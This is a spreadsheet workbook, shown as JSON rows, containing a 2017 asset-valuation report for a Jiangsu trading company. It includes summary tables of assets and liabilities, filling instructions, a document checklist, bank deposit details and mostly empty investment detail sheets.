{"text_format":"3","workbook":"xls","n_sheets":97,"sheets":["360Qex","资产负债表(旧)","2-分类汇总(按准则) (2)","填表说明","资料清单","基本情况","1-汇总表(按准则)","2-分类汇总(按准则)","3-流动汇总","3-1货币汇总表","3-1-1现金","3-1-2银行存款","3-1-3其他货币资金","3-2交易性金融资产汇总","3-2-1交易性-股票","3-2-2交易性-债券","3-2-3交易性-基金","3-3应收票据","3-4应收账款","3-5预付账款","3-6应收利息","3-7应收股利","3-8其他应收款","3-9存货汇总","3-9-1材料采购（在途物资）","3-9-2原材料","3-9-3在库周转材料","3-9-4委托加工物资","3-9-5产成品（库存商品）","3-9-6在产品（自制半成品 ）","3-9-7发出商品","3-9-8在用周转材料","3-10一年到期非流动资产","3-11其他流动资产","4-非流动资产汇总","4-1可供出售金融资产汇总","4-1-1可出售-股票","4-1-2可出售-债券","4-1-3可出售-其他","4-2持有到期投资","4-3长期应收","4-4股权投资","4-5投资性房地产汇总","4-5-1投资性房地产","4-5-2投资性房地产","4-5-3投资性地产","4-5-4投资性地产","4-6固定资产汇总","4-6-1房屋建筑物","房屋建筑物计算表","4-6-2构筑物","4-6-3管道沟槽","构筑物计算表","4-6-4机器设备","4-6-5车辆","机器设备计算表","4-6-6电子设备","4-6-7土地","4-7在建工程汇总","4-7-1在建（土建）","土建工程计算表","4-7-2在建（设备）","4-8工程物资","4-9固定资产清理","4-10生产性生物资产","4-11油气资产","4-12无形资产汇总","4-12-1无形-土地","4-12-2无形-矿业权","4-12-3无形-其他","4-13开发支出","4-14商誉","4-15长期待摊费用","4-16递延所得税资产","4-17其他非流动资产","5-流动负债汇总","5-1短期借款","5-2交易性金融负债","5-3应付票据","5-4应付账款","5-5预收账款","5-6职工薪酬","5-7应交税费","5-8应付利息","5-9应付股利（利润）","5-10其他应付款","5-11一年到期非流动负债","5-12其他流动负债","6-非流动负债汇总 ","6-1长期借款","6-2应付债券","6-3长期应付款","6-4专项应付款","6-5预计负债","6-6递延所得税负债","6-7其他非流动负债","00000000"],"not_rendered":{"external_links":5,"defined_names":18,"comments":157},"read":"whole","date_system":"1900","formulas":"cached_only"}

{"sheet":"360Qex","index":0,"n_rows":0,"n_cols":0,"rows_kept":0,"hidden":true,"flags":["formulas_cached_only"]}

{"sheet":"资产负债表(旧)","index":1,"n_rows":47,"n_cols":10,"rows_kept":47,"hidden":true,"merged":[[1,0,1,9],[2,0,2,9],[3,0,3,2]],"flags":["formulas_cached_only"]}
["返回索引页"]
["资产负债表"]
["2007年6月30日"]
[{"$error":"#REF!"},{"$nulls":8},"金额单位：人民币元"]
["资产","序号","期初数","期末数","备注","负债及所有者权益","序号","期初数","期末数","备注"]
["  流动资产：",1,{"$nulls":3},"流动负债：",41]
["   货币资金",2,{"$nulls":3},"   短期借款",42]
["   短期投资",3,{"$nulls":3},"    应付票据",45]
["   应收票据",4,{"$nulls":3},"   应付账款",46]
["  应收账款",5,{"$nulls":3},"   预收账款",47]
["  减：坏账准备",6,{"$nulls":3},"   代销商品款",48]
["   应收账款净额",7,{"$nulls":3},"   其他应付款",49]
["   应收股利",8,{"$nulls":3},"   应付工资",50]
["   应收利息",9,{"$nulls":3},"   应付福利费",51]
["   预付账款",10,{"$nulls":3},"   应交税金",52]
["   应收补贴款",11,{"$nulls":3},"   应付利润",53]
["   其他应收款",12,{"$nulls":3},"   其他未交款",54]
["  减：坏账准备",13,{"$nulls":3},"   预提费用",52]
["   其他应收款净额",14,{"$nulls":3},"   一年内到期的长期负债",53]
["   存货",15,{"$nulls":3},"   其他流动负债",54]
["   待摊费用",16,{"$nulls":3},"         流动负债合计",55,{"v":0,"d":"0.00"},{"v":0,"d":"0.00"}]
["    待处理流动资产净损失",17]
["   一年内到期的长期债券投资",18]
["   其他流动资产",19,{"$nulls":3},"   长期借款",56]
["流动资产合计",20,{"v":0,"d":"0.00"},{"v":0,"d":"0.00"},null,"   应付债券",57]
["   长期投资",21,{"$nulls":3},"   长期应付款",58]
["   固定资产",22,{"$nulls":3},"   专项应付款",59]
["   固定资产原价",23,{"$nulls":3},"   其他长期负债",60]
["    减：累计折旧",24,{"$nulls":3},"   递延税款贷项",61]
["   固定资产减值",25,{"$nulls":3},"         长期负债合计",62,{"v":0,"d":"0.00"},{"v":0,"d":"0.00"}]
["   固定资产净额",26]
["   工程物资",27,{"$nulls":3},"              負債合計",63,{"v":0,"d":"0.00"},{"v":0,"d":"0.00"}]
["   在建工程",28]
["   固定资产清理",29]
["   待处理固定资产净损失",30]
["固定资产合计",31,{"v":0,"d":"0.00"},{"v":0,"d":"0.00"}]
["   无形资产合计",32,{"v":0,"d":"0.00"},{"v":0,"d":"0.00"},null,"所有者权益：",64]
["  其中：土地使用权",33,{"$nulls":3},"    实收资本",65]
["        其他无形资产",34,{"$nulls":3},"    资本公积",66]
["   递延资产合计",35,{"v":0,"d":"0.00"},{"v":0,"d":"0.00"},null,"    盈余公积",67]
["   其中：开办费",36,{"$nulls":3},"    其中： 公益金",68]
["        长期待摊费用",37,{"$nulls":3},"    上级拨入资金/撥付所屬資金",69]
["   其他长期资产",38,{"$nulls":3},"    未分配利润",70]
["   递延税款借项",39,{"$nulls":3},"所有者权益合计",71,{"v":0,"d":"0.00"},{"v":0,"d":"0.00"}]
["             资产合计",40,{"v":0,"d":"0.00"},{"v":0,"d":"0.00"},null,"负债及所有者权益合计",72,{"v":0,"d":"0.00"},{"v":0,"d":"0.00"}]
[{"$nulls":5},"与总资产相差",73,{"v":0,"d":"0.00"},{"v":0,"d":"0.00"}]
[null,null,"填表人： ",null,"财务主管：",null,null,"负责人："]

{"sheet":"2-分类汇总(按准则) (2)","index":2,"n_rows":29,"n_cols":7,"rows_kept":29,"hidden":true,"merged":[[0,0,0,6],[1,0,1,6]],"flags":["formulas_cached_only"]}
["资产评估结果分类汇总表"]
["评估基准日：2017年12月31日"]
[{"$nulls":6},"表2"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":5},"金额单位：人民币元"]
["序号","科目名称","账面原值","账面价值（评估公司）","评估价值","增减值","增值率%"]
[1,"一、流动资产合计",{"v":31836959.3,"d":"31,836,959.30"},{"v":31836959.3,"d":"31,836,959.30"},{"v":31836959.3,"d":"31,836,959.30"},0,0]
[2,"货币资金",{"v":360586.22,"d":"360,586.22"},{"v":360586.22,"d":"360,586.22"},{"v":360586.22,"d":"360,586.22"},0,0]
[3,"应收账款",0,0,0,0,0]
[4,"预付款项",0,0,0,0,0]
[5,"其他应收款",{"v":31476373.08,"d":"31,476,373.08"},{"v":31476373.08,"d":"31,476,373.08"},{"v":31476373.08,"d":"31,476,373.08"},0,0]
[6,"二、非流动资产合计",{"v":143923626.24,"d":"143,923,626.24"},{"v":143614315.88,"d":"143,614,315.88"},{"v":143618160,"d":"143,618,160.00"},{"v":3844.12,"d":"3,844.12"},0]
[7,"长期股权投资",0,0,0,0,0]
[8,"固定资产",{"v":329226.24,"d":"329,226.24"},{"v":19915.88,"d":"19,915.88"},{"v":23760,"d":"23,760.00"},{"v":3844.12,"d":"3,844.12"},{"v":19.3,"d":"19.30"}]
[9,"在建工程",0,0,0,0,0]
[10,"无形资产",{"v":143594400,"d":"143,594,400.00"},{"v":143594400,"d":"143,594,400.00"},{"v":143594400,"d":"143,594,400.00"},0,0]
[11,"长期待摊费用",0,0,0,0,0]
[12,"三、资产总计",{"v":175760585.54,"d":"175,760,585.54"},{"v":175451275.18,"d":"175,451,275.18"},{"v":175455119.3,"d":"175,455,119.30"},{"v":3844.12,"d":"3,844.12"},0]
[13,"四、流动负债合计",{"v":232114.58,"d":"232,114.58"},{"v":232114.58,"d":"232,114.58"},{"v":232114.58,"d":"232,114.58"},0,0]
[14,"短期借款",0,0,0,0,0]
[15,"应付账款",{"v":118161.17,"d":"118,161.17"},{"v":118161.17,"d":"118,161.17"},{"v":118161.17,"d":"118,161.17"},0,0]
[16,"预收款项",0,0,0,0,0]
[17,"应付职工薪酬",{"v":113953.41,"d":"113,953.41"},{"v":113953.41,"d":"113,953.41"},{"v":113953.41,"d":"113,953.41"},0,0]
[18,"应交税费",0,0,0,0,0]
[19,"五、非流动负债合计",0,0,0,0,0]
[20,"长期借款",0,0,0,0,0]
[21,"六、负债总计",{"v":232114.58,"d":"232,114.58"},{"v":232114.58,"d":"232,114.58"},{"v":232114.58,"d":"232,114.58"},0,0]
[22,"七、净资产（所有者权益）",{"v":175528470.96,"d":"175,528,470.96"},{"v":175219160.6,"d":"175,219,160.60"},{"v":175223004.72,"d":"175,223,004.72"},{"v":3844.12,"d":"3,844.12"},0]
["被评估单位填表人：",{"$nulls":4},"评估机构：江苏金汇通房地产资产评估造价咨询有限公司"]
["填表日期：2018年8月28日"]

{"sheet":"填表说明","index":3,"n_rows":23,"n_cols":1,"rows_kept":23,"hidden":true,"merged":[[0,0,0,12]],"flags":["formulas_cached_only"]}
["资产评估明细表填写使用说明"]
["1、本工作簿共分盘点表、银行存借款函证、往来款函证、委托方及被评估企业函证及资产评估明细表等几部分；"]
["其中资产评估明细表由资产评估委托方或资产占有方按评估基准日的委估资产及负债的账面价值申报；"]
["各类汇总表是自动生成的，不需要单独填写，各明细表中评估价值、增减值及增值率不要填写；"]
["请填表人员按要求对工作表中对应项目据实填写；"]
["2、此表各科目明细的合计数，应与本次资产评估范围内的资产评估基准日的资产负债表的数据相符；"]
["3、如有债权、债务性资产的未达、坏帐及实物性资产的毁损、报废等的项目应在其备注中说明；"]
["4、明细表中如有日期档，除各明细表中有具体要求外，其格式应为“XXXX-XX”；"]
["    例：“2000年09月10日”应填为“2000-09”"]
["如无法确定具体月份，请将月份填为01月；"]
["    例：“2000年”应填为“2000-01”"]
["如为累计发生的业务，请将发生日期填为最后一笔业务的发生日期；"]
["5、如明细表的行数不够时，请填表人员在“合计”的上两行进行插入行，以免汇总表的公式链接被破坏。"]
["6、对于\"减值准备\"可直接在各科目表中填表列；"]
["7、填表人可通过“2-分类汇总(按准则)”来选择要查看或修改的科目,通过“合计”按纽可返回“2-分类汇总(按准则)”"]
["8、填表人可通过点击各汇总表中的“科目名称”进入各明细表，再通过点击各工作表中的“序号”来返回上一级科目"]
["表或汇总表。"]
["注：除以上要求企业填写的或按具体情况评估人员另作要求填写的档或项，企业不应对此套表的其它部分"]
["作任何修改变动，谢谢合作！"]
[]
["如有疑问请与我公司或我公司现场人员联系"]
["联系电话：13970231432"]
["制表人：熊莘融"]

{"sheet":"资料清单","index":4,"n_rows":60,"n_cols":4,"rows_kept":60,"hidden":true,"merged":[[0,0,0,3]],"flags":["formulas_cached_only"]}
["企业应提供资料清单"]
["序号","清单目录","是否应准备","企业提供时间"]
["一","委托方提供的资料："]
["1-1","经济行为文件"]
["1-2","企业法人营业执照(副本)复印件","是"]
["1-3","委托方承诺函(由评估机构提供格式)","是"]
["1-4","资产评估业务约定书","是"]
["二","被评估单位提供的资料："]
["2-1","企业法人营业执照(副本)复印件","是"]
["2-2","国有资产产权登记证原件及复印件(如为国有企业则需提供)"]
["2-3","企业税务登记证(一般纳税人、地税）复印件","是"]
["2-4","被评估单位承诺函（由评估机构提供格式）","是"]
["2-5","特种行业需提供特种行业许可证等其他相关证照"]
["2-6","企业简介(包括企业主要信息,人员情况,历史变革及企业组织机构图等)","是"]
["2-7","关于进行资产评估有关事项的说明（由评估机构提供格式）","是"]
["2-8","公司章程及验资报告(以最近一次的为准)","是"]
["2-9","基准日及前五年会计报表(以前年度需提供年报审计后的报表,基准日已经审计的需提供审计审定后的报表)"]
["2-10","资产评估申报表（由评估机构提供格式）"]
["2-11","现金盘点表（由评估机构提供格式）"]
["2-12","银行对账单"]
["2-13","银行存款余额调节表（由评估机构提供格式）"]
["2-14","银行存款询证函（由评估机构提供格式）"]
["2-15","应收账款询证函（由评估机构提供格式）"]
["2-16","预付款项询证函（由评估机构提供格式）"]
["2-17","个人欠款签名确认表（由评估机构提供格式）"]
["2-18","原材料盘点表；"]
["2-19","原材料抽查盘点表；"]
["2-20","在库周转材料盘点表；"]
["2-21","在库周转材料抽查盘点表；"]
["2-22","材料采购合同、发票；"]
["2-23","产成品盘点表；"]
["2-24","产成品抽查盘点表；"]
["2-25","产品销售合同、发票；"]
["2-26","产品销售价目表(注明是否含税)；"]
["2-27","在产品期末盘存表；"]
["2-28","长期股权投资:投资协议、章程及被投资单位财务报表"]
["2-29","工程决算资料；"]
["2-30","房屋所有权证或其他产权证明资料；"]
["2-31","建筑工程规划许可证、建设用地许可证及复印件"]
["2-32","厂区平面布置图；"]
["2-33","主要房屋构筑物图片资料；"]
["2-34","设备购置合同、发票；"]
["2-35","机动车行驶证及已行驶里程数；"]
["2-36","电梯、行车、压力容器等需提供劳动部门的年检证明"]
["2-37","主要机器设备参数配置及使用说明资料；"]
["2-38","应付账款询证函；"]
["2-39","预收款项询证函；"]
["2-40","应付职工薪酬检查情况表；"]
["2-41","纳税申报表；"]
["2-42","税收通用缴款书；"]
["2-43","企业适用的税收政策及享有的税收优惠政策、税务清算或完税证明资料"]
["2-44","其他应付款询证函；"]
["2-45","长短期借款合同；"]
["2-46","长短期借款询证函；"]
["2-47","资产抵押他项权证或抵押合同"]
["2-48","待核销、报废资产情况说明及证明材料（包括有关资产及债权、债务）；"]
["2-49","土地使用权证"]
["2-50","企业自身对未来五年的目标规划、市场预测；"]
["2-51","根据前期经营情况，预测未来年期的收入、费用、成本、利润"]
["2-52","其他科目所需资料由评估人员在现场根据具体情况提供清单再行准备"]

{"sheet":"基本情况","index":5,"n_rows":19,"n_cols":2,"rows_kept":19,"merged":[[1,0,1,1],[2,0,2,1],[3,0,3,1],[4,0,4,1],[5,0,5,1],[6,0,6,1],[7,0,7,1],[15,0,15,1],[16,0,16,1],[17,0,17,1],[18,0,18,1]],"flags":["formulas_cached_only"]}
[]
["评估参数说明"]
["评估机构：江苏金汇通房地产资产评估造价咨询有限公司"]
["机构负责人：李忠营"]
["项目负责人：  凌伟"]
["资产评估师：凌伟"]
["资产评估师：孙倩华"]
["评估参与人员：孙倩华、凌伟"]
["流动资产评估人员：","评估人员：孙倩华、凌伟"]
["存货评估人员：","评估人员：孙倩华、凌伟"]
["固定资产评估人员：","评估人员：孙倩华、凌伟"]
["设备评估人员：","评估人员：孙倩华、凌伟"]
["建筑物评估人员：","评估人员：孙倩华、凌伟"]
["其它资产评估人员：","评估人员：孙倩华、凌伟"]
["负债评估人员：","评估人员：孙倩华、凌伟"]
["被评估单位名称：江苏省海东物资贸易有限公司"]
["评估基准日：2017年12月31日"]
["被评估单位填表人："]
["填表日期：2018年8月28日"]

{"sheet":"1-汇总表(按准则)","index":6,"n_rows":31,"n_cols":6,"rows_kept":31,"merged":[[0,0,0,5],[1,0,1,5],[4,0,5,1]],"flags":["formulas_cached_only"]}
["资产评估结果汇总表"]
["评估基准日：2017年12月31日"]
[{"$nulls":5},"表1"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":4},"金额单位：人民币万元"]
["项            目",null,"账面价值","评估价值","增减值","增值率％"]
[null,null,"A","B","C=B-A","D=C/A×100%"]
[1,"流动资产",{"v":3239.75,"d":"3,239.75"},{"v":3239.75,"d":"3,239.75"},0,0]
[2,"非流动资产",{"v":14361.43,"d":"14,361.43"},{"v":14361.82,"d":"14,361.82"},0.39,0]
[3,"其中：可供出售金融资产",0,0,0,0]
[4,"持有至到期投资",0,0,0,0]
[5,"长期应收款",0,0,0,0]
[6,"长期股权投资",0,0,0,0]
[7,"投资性房地产",0,0,0,0]
[8,"固定资产",1.99,2.38,0.39,{"v":19.6,"d":"19.60"}]
[9,"在建工程",0,0,0,0]
[10,"工程物资",0,0,0,0]
[11,"固定资产清理",0,0,0,0]
[12,"生产性生物资产",0,0,0,0]
[13,"油气资产",0,0,0,0]
[14,"无形资产",{"v":14359.44,"d":"14,359.44"},{"v":14359.44,"d":"14,359.44"},0,0]
[15,"开发支出",0,0,0,0]
[16,"商誉",0,0,0,0]
[17,"长期待摊费用",0,0,0,0]
[18,"递延所得税资产",0,0,0,0]
[19,"其他非流动资产",0,0,0,0]
[20,"资产总计",{"v":17601.18,"d":"17,601.18"},{"v":17601.57,"d":"17,601.57"},0.39,0]
[21,"流动负债",26.59,26.59,0,0]
[22,"非流动负债",0,0,0,0]
[23,"负债合计",26.59,26.59,0,0]
[24,"净资产（所有者权益）",{"v":17574.59,"d":"17,574.59"},{"v":17574.98,"d":"17,574.98"},0.39,0]
[{"$nulls":3},"评估机构：江苏金汇通房地产资产评估造价咨询有限公司"]

{"sheet":"2-分类汇总(按准则)","index":7,"n_rows":61,"n_cols":6,"rows_kept":61,"merged":[[0,0,0,5],[1,0,1,5]],"flags":["formulas_cached_only"]}
["资产评估结果分类汇总表"]
["评估基准日：2017年12月31日"]
[{"$nulls":5},"表2"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":4},"金额单位：人民币元"]
["序号","科目名称","账面价值","评估价值","增减值","增值率%"]
[1,"一、流动资产合计",{"v":32397456.05,"d":"32,397,456.05"},{"v":32397456.05,"d":"32,397,456.05"},0,0]
[2,"货币资金",{"v":360586.22,"d":"360,586.22"},{"v":360586.22,"d":"360,586.22"},0,0]
[3,"交易性金融资产",0,0,0,0]
[4,"应收票据",0,0,0,0]
[5,"应收账款",0,0,0,0]
[6,"预付款项",0,0,0,0]
[7,"应收利息",0,0,0,0]
[8,"应收股利",0,0,0,0]
[9,"其他应收款",{"v":31476373.08,"d":"31,476,373.08"},{"v":31476373.08,"d":"31,476,373.08"},0,0]
[10,"存货",0,0,0,0]
[11,"一年内到期的非流动资产",0,0,0,0]
[12,"其他流动资产",{"v":560496.75,"d":"560,496.75"},{"v":560496.75,"d":"560,496.75"},0,0]
[13,"二、非流动资产合计",{"v":143614315.88,"d":"143,614,315.88"},{"v":143618160,"d":"143,618,160.00"},{"v":3844.12,"d":"3,844.12"},0]
[14,"可供出售金融资产",0,0,0,0]
[15,"持有至到期投资",0,0,0,0]
[16,"长期应收款",0,0,0,0]
[17,"长期股权投资",0,0,0,0]
[18,"投资性房地产",0,0,0,0]
[19,"固定资产",{"v":19915.88,"d":"19,915.88"},{"v":23760,"d":"23,760.00"},{"v":3844.12,"d":"3,844.12"},{"v":19.3,"d":"19.30"}]
[20,"在建工程",0,0,0,0]
[21,"工程物资",0,0,0,0]
[22,"固定资产清理",0,0,0,0]
[23,"生产性生物资产",0,0,0,0]
[24,"油气资产",0,0,0,0]
[25,"无形资产",{"v":143594400,"d":"143,594,400.00"},{"v":143594400,"d":"143,594,400.00"},0,0]
[26,"开发支出",0,0,0,0]
[27,"商誉",0,0,0,0]
[28,"长期待摊费用",0,0,0,0]
[29,"递延所得税资产",0,0,0,0]
[30,"其他非流动资产",0,0,0,0]
[31,"三、资产总计",{"v":176011771.93,"d":"176,011,771.93"},{"v":176015616.05,"d":"176,015,616.05"},{"v":3844.12,"d":"3,844.12"},0]
[32,"四、流动负债合计",{"v":265944.58,"d":"265,944.58"},{"v":265944.58,"d":"265,944.58"},0,0]
[33,"短期借款",0,0,0,0]
[34,"交易性金融负债",0,0,0,0]
[35,"应付票据",0,0,0,0]
[36,"应付账款",{"v":118161.17,"d":"118,161.17"},{"v":118161.17,"d":"118,161.17"},0,0]
[37,"预收款项",0,0,0,0]
[38,"应付职工薪酬",{"v":113953.41,"d":"113,953.41"},{"v":113953.41,"d":"113,953.41"},0,0]
[39,"应交税费",0,0,0,0]
[40,"应付利息",0,0,0,0]
[41,"应付股利",0,0,0,0]
[42,"其他应付款",{"v":33830,"d":"33,830.00"},{"v":33830,"d":"33,830.00"},0,0]
[43,"一年内到期的非流动负债",0,0,0,0]
[44,"其他流动负债",0,0,0,0]
[45,"五、非流动负债合计",0,0,0,0]
[46,"长期借款",0,0,0,0]
[47,"应付债券",0,0,0,0]
[48,"长期应付款",0,0,0,0]
[49,"专项应付款",0,0,0,0]
[50,"预计负债",0,0,0,0]
[51,"递延所得税负债",0,0,0,0]
[52,"其他非流动负债",0,0,0,0]
[null,"六、负债总计",{"v":265944.58,"d":"265,944.58"},{"v":265944.58,"d":"265,944.58"},0,0]
[54,"七、净资产（所有者权益）",{"v":175745827.35,"d":"175,745,827.35"},{"v":175749671.47,"d":"175,749,671.47"},{"v":3844.12,"d":"3,844.12"},0]
["被评估单位填表人：",{"$nulls":3},"评估机构：江苏金汇通房地产资产评估造价咨询有限公司"]
["填表日期：2018年8月28日"]

{"sheet":"3-流动汇总","index":8,"n_rows":18,"n_cols":6,"rows_kept":18,"merged":[[0,0,0,5],[1,0,1,5],[16,0,16,1]],"flags":["formulas_cached_only"]}
["流动资产评估汇总表"]
["评估基准日：2017年12月31日"]
[{"$nulls":5},"表3"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":4},"金额单位：人民币元"]
["编号","科目名称","账面价值","评估价值","增减值","增值率%"]
["3-1","货币资金",{"v":360586.22,"d":"360,586.22"},{"v":360586.22,"d":"360,586.22"},0,0]
["3-2","交易性金融资产",0,0,0,0]
["3-3","应收票据",0,0,0,0]
["3-4","应收账款",0,0,0,0]
["3-5","预付账款",0,0,0,0]
["3-6","应收利息",0,0,0,0]
["3-7","应收股利",0,0,0,0]
["3-8","其他应收款",{"v":31476373.08,"d":"31,476,373.08"},{"v":31476373.08,"d":"31,476,373.08"},0,0]
["3-9","存货",0,0,0,0]
["3-10","一年内到期的非流动资产",0,0,0,0]
["3-11","其他流动资产",{"v":560496.75,"d":"560,496.75"},{"v":560496.75,"d":"560,496.75"},0,0]
["流动资产合计",null,{"v":32397456.05,"d":"32,397,456.05"},{"v":32397456.05,"d":"32,397,456.05"},0,0]
[{"$nulls":4},"评估人员：孙倩华、凌伟"]

{"sheet":"3-1货币汇总表","index":9,"n_rows":11,"n_cols":7,"rows_kept":11,"merged":[[0,0,0,6],[1,0,1,6],[2,5,2,6],[3,5,3,6],[8,0,8,1]],"flags":["formulas_cached_only"]}
["货币资金评估汇总表"]
["评估基准日：2017年12月31日"]
[{"$nulls":5},"表3-1"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":4},"金额单位：人民币元"]
["编号","科目名称","账面价值","评估价值","增减值","增值率%","备注"]
["3-1-1","现金",0,0,0,0]
["3-1-2","银行存款",{"v":360586.22,"d":"360,586.22"},{"v":360586.22,"d":"360,586.22"},0,0]
["3-1-3","其他货币资金",0,0,0,0]
["合     计",null,{"v":360586.22,"d":"360,586.22"},{"v":360586.22,"d":"360,586.22"},0,0]
["被评估单位填表人：",{"$nulls":3},"评估人员：孙倩华、凌伟"]
["填表日期：2018年8月28日"]

{"sheet":"3-1-1现金","index":10,"n_rows":30,"n_cols":10,"rows_kept":30,"hidden":true,"merged":[[0,0,0,9],[1,0,1,9],[2,8,2,9],[3,7,3,9],[27,0,27,1]],"flags":["formulas_cached_only"]}
["货币资金—现金评估明细表"]
["评估基准日：2017年12月31日"]
[{"$nulls":8},"表3-1-1"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":6},"金额单位：人民币元"]
["序号","存放部门（单位)","币种","外币账面金额","评估基准日汇率","账面价值","评估价值","增减值","增值率%","备注"]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[{"$nulls":8},""]
[]
["合         计",{"$nulls":4},0,0,0,0]
["被评估单位填表人：",{"$nulls":6},"评估人员：孙倩华、凌伟"]
["填表日期：2018年8月28日"]

{"sheet":"3-1-2银行存款","index":11,"n_rows":11,"n_cols":11,"rows_kept":11,"merged":[[0,0,0,10],[1,0,1,9],[2,9,2,10],[3,9,3,10],[8,0,8,1]],"flags":["formulas_cached_only"]}
["货币资金—银行存款评估明细表"]
["评估基准日：2017年12月31日"]
[{"$nulls":9},"表3-1-2"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":8},"金额单位：人民币元"]
["序号","开户银行","账号","币种","外币账面金额","评估基准日汇率","账面价值","评估价值","增减值","增值率%","备注"]
[1,"农行虎踞北路支行(支)","14344301040002625","人民币",{"v":299120.42,"d":"299,120.42"},null,{"v":299120.42,"d":"299,120.42"},{"v":299120.42,"d":"299,120.42"},0,0]
[2,"浦发新街口地税",null,"人民币",362.79,null,362.79,362.79,0,0]
[3,"浦发鼓楼国税","111538050000044263","人民币",{"v":61103.01,"d":"61,103.01"},null,{"v":61103.01,"d":"61,103.01"},{"v":61103.01,"d":"61,103.01"},0,0]
["合             计",{"$nulls":5},{"v":360586.22,"d":"360,586.22"},{"v":360586.22,"d":"360,586.22"},0,0]
["被评估单位填表人：",{"$nulls":7},"评估人员：孙倩华、凌伟"]
["填表日期：2018年8月28日"]

{"sheet":"3-1-3其他货币资金","index":12,"n_rows":30,"n_cols":11,"rows_kept":30,"hidden":true,"merged":[[0,0,0,10],[1,0,1,10],[27,0,27,1]],"flags":["formulas_cached_only"]}
["货币资金—其他货币资金评估明细表"]
["评估基准日：2017年12月31日"]
[{"$nulls":10},"表3-1-3"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":9},"金额单位：人民币元"]
["序号","名称及内容","用途","币种","外币账面金额","评估基准日汇率","账面价值","评估价值","增减值","增值率%","备注"]
[{"$nulls":9},0]
{"$rows_empty":21}
["合             计",{"$nulls":5},0,0,0,0]
["被评估单位填表人：",{"$nulls":7},"评估人员：孙倩华、凌伟"]
["填表日期：2018年8月28日"]

{"sheet":"3-2交易性金融资产汇总","index":13,"n_rows":25,"n_cols":6,"rows_kept":25,"hidden":true,"merged":[[0,0,0,5],[1,0,1,5],[23,0,23,1]],"flags":["formulas_cached_only"]}
["交易性金融资产评估汇总表"]
["评估基准日：2017年12月31日"]
[{"$nulls":5},"表3-2"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":4},"金额单位：人民币元"]
["编号","科目名称","账面价值","评估价值","增减值","增值率%"]
["3-2-1","交易性金融资产-股票投资",0,0,0,0]
["3-2-2","交易性金融资产-债券投资",0,0,0,0]
["3-2-3","交易性金融资产-基金投资",0,0,0,0]
{"$rows_empty":15}
["合      计",null,0,0,0,0]
[{"$nulls":4},"评估人员：孙倩华、凌伟"]

{"sheet":"3-2-1交易性-股票","index":14,"n_rows":29,"n_cols":12,"rows_kept":29,"hidden":true,"merged":[[0,0,0,11],[1,0,1,11],[2,10,2,11],[3,10,3,11],[26,0,26,1]],"flags":["formulas_cached_only"]}
["交易性金融资产—股票投资评估明细表"]
["评估基准日：2017年12月31日"]
[{"$nulls":10},"表3-2-1"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":9},"金额单位：人民币元"]
["序号","被投资单位名称","股票名称","投资日期","持股数量","成  本","基准日收盘价元/股","账面价值","评估价值","增减值","增值率%","备注"]
[{"$nulls":10},0]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[]
["合          计",{"$nulls":6},0,0,0,0]
["被评估单位填表人：",{"$nulls":7},"评估人员：孙倩华、凌伟"]
["填表日期：2018年8月28日"]

{"sheet":"3-2-2交易性-债券","index":15,"n_rows":29,"n_cols":12,"rows_kept":29,"hidden":true,"merged":[[0,0,0,10],[1,0,1,10],[2,10,2,11],[3,10,3,11],[26,0,26,1]],"flags":["formulas_cached_only"]}
["交易性金融资产—债券投资评估明细表"]
["评估基准日：2017年12月31日"]
[{"$nulls":10},"表3-2-2"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":9},"金额单位：人民币元"]
["序号","被投资单位名称","债券名称","发行日期","投资日期","票面利率%","成本","账面价值","评估价值","增减值","增值率%","备注"]
[{"$nulls":10},0]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[]
["合          计",{"$nulls":6},0,0,0,0]
["被评估单位填表人：",{"$nulls":8},"评估人员：孙倩华、凌伟"]
["填表日期：2018年8月28日"]

{"sheet":"3-2-3交易性-基金","index":16,"n_rows":29,"n_cols":12,"rows_kept":29,"hidden":true,"merged":[[0,0,0,11],[1,0,1,11],[2,10,2,11],[3,10,3,11],[26,0,26,1]],"flags":["formulas_cached_only"]}
["交易性金融资产—基金投资评估明细表"]
["评估基准日：2017年12月31日"]
[{"$nulls":10},"表3-2-3"]
["被评估单位名称：江苏省海东物资贸易有限公司",{"$nulls":9},"金额单位：人民币元"]
["序号","基金发行单位","基金名称","基金类型","投资日期","成本","基准日净值/份","账面价值","评估价值","增减值","增值率%","备注"]
[{"$nulls":10},0]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
[{"$nulls":10},""]
